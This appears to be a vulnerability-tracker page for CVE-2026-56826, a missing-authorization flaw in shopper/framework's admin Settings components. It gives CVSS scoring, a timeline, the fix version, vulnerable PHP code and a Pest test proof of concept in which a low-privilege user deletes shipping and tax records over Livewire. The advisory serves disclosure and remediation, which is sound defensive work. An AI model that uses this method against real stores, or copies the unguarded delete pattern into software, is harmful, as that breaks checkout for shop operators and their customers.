VulnerabilityPublished 11 Sep 2026

CVE-2026-56826: Framework · Shopping privilege escalation through missing authorization in Settings components

Affects shopper/frameworkSource GCVE Database

Authoritative record:CVE-2026-56826· Medium 5.4

Not known to be exploited · CVSS 5.4 Medium : upgrade to 2.9.2 when convenient.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 3.1 base score

5.4Medium

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.3% chance of exploitation in 30 days – higher than 27% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 2.9.2

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: Low
Availability: Low

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: Low: The attacker is authorized with (i.e., requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
Availability: Low: Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

Disclosed: evidence found.
CVE published 13 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

CVE ID reserved
by GitHub, Inc.
23 Jun 202614:55 UTC, 112 days before disclosure
CVE published
on cve.org
13 Oct 202619:11 UTC, t = 0
CISA SSVC assessment
proof of concept public
17 Oct 202600:40 UTC, 4 days after disclosure
In Threat Radar
record ingested
26 Oct 202608:14 UTC, 13 days after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade shopper/framework to 2.9.2.

Affected software

Product	Affected	Fixed in
Packagistshopper/framework	Affected >=2.0.0 <2.9.2	Fixed in 2.9.2

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary Four Livewire components in the Settings area expose destructive Filament actions (`delete` / `edit`) that perform **no server-side authorization**. Any authenticated user who can reach the Settings pages — i.e. holding only the coarse `access_setting` permission, **without** being an admin and **without** any `delete_*`/`edit_*` permission — can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint. These records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout. This is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. `Settings/Locations/Index` uses `->authorize('delete_inventories')`, and `Order/Detail` gates mutating actions with `edit_orders`). ## Affected components | Component | File | Unauthorized action | |---|---|---| | `Settings\Zones\ZoneShippingOptions` | `packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47` | `delete` → `CarrierOption::query()->find($arguments['id'])->delete()` (id is client-supplied) | | `Settings\Zones\Detail` | `packages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46` | `delete` → `DeleteAction` on the bound `Zone` | | `Settings\Taxes\Detail` | `packages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42` | `delete` → `DeleteAction` on the bound `TaxZone` | | `Settings\Taxes\TaxRates` | `packages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97` | `delete` → `DeleteAction` on a `TaxRate` | Each file contains **zero** `authorize` calls, and the actions declare neither `->authorize()` nor an enforced `->visible()` guard. ## Details The Settings pages mount these as child Livewire components. The parent page authorizes `access_setting` (e.g. `Pages/Settings/Taxes.php:29`), but the child components do not re-check authorization, and their destructive actions carry no `->authorize()`. Because each Livewire component handles its own `/livewire/update` requests, the action executes purely on the page-level `access_setting` gate — there is no per-resource permission, and `delete_zones` / `delete_taxes` permissions are never even generated by the seeder (`packages/admin/database/seeders/PermissionsTableSeeder.php`). `ZoneShippingOptions::deleteAction()` is the clearest case — it deletes by an id taken straight from the client action arguments with no scoping and no permission check: ```php // packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php public function deleteAction(): Action { return Action::make('delete') ->requiresConfirmation() // ... no ->authorize(), no ->visible() ->action(function (array $arguments): void { CarrierOption::query()->find($arguments['id'])->delete(); // client-controlled id // ... }); } ``` ## Proof of Concept Confirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite) — the real Livewire/Filament code path, executed as a non-admin user holding only `access_setting`. ```php use Livewire\Livewire; use Shopper\Core\Models\{CarrierOption, Zone}; use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions; use Tests\Core\Stubs\User; uses(Tests\Admin\TestCase::class); it('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void { $attacker = User::factory()->create(); $attacker->givePermissionTo('access_setting'); // NOT admin, NO delete_* permission $this->actingAs($attacker, config('shopper.auth.guard')); $zone = Zone::factory()->create(); $option = CarrierOption::factory()->create(['zone_id' => $zone->id]); Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id]) ->callAction('delete', arguments: ['id' => $option->id]); expect(CarrierOption::query()->find($option->id))->toBeNull(); // deleted -> vulnerable }); ``` Result: ``` Attacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false [BEFORE] CarrierOption count = 1 (target #1 'DHL Express' exists = YES) [ATTACK] callAction('delete', id=1) on ZoneShippingOptions [AFTER ] CarrierOption count = 0 (target #1 exists = NO -> deleted) PASS 3 passed (11 assertions) ✓ CONTROL — Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz) ✓ a CarrierOption is deleted by the low-priv user ✓ a shipping Zone is deleted by the low-priv user ``` The CONTROL case rules out a false positive: the same harness correctly denies `Order/Detail::markPaid` for a user lacking `edit_orders`, proving authorization is enforced when a component declares it — these four components simply declare none. ## Impact A low-privileged staff member (or a compromised low-pri

CWE-862Missing Authorization (opens in a new tab)
Class weaknessLikelihood of exploit: HighCWE Top 25 (2025): #4OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Architecture and Design
Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
Architecture and Design
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records.
Architecture and Design · Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
OWASP Cheat Sheets
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V8.3.8 (opens in a new tab)
V13.4.2 (opens in a new tab)
V7.2.2 (opens in a new tab)
Attack patterns
Exploitation of Thunderbolt Protection Flaws (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

Community reviews

Loading reviews…

Exploitation evidence

Timeline

What to do

Affected software

Description

WeaknessesCWE-862

Technical details

References

Community reviews

Related threats